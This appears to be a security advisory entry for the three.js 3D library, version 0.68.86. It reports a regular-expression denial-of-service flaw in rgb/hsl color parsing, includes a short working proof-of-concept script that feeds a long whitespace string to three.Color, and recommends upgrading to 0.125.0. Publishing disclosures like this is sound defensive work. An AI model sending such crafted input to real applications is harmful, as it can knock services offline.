three@0.68.86 vulnerabilities

three is a JavaScript 3D library

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')

function build_blank (n) {
 var ret = "rgb("
 for (var i = 0; i < n; i++) {
  ret += " "
 }

 return ret + "";
}

var Color = three.Color

var time = Date.now();
new Color(build_blank(50000))
var time_cost = Date.now() - time;
console.log(time_cost+" ms")

Upgrade three to version 0.125.0 or higher.
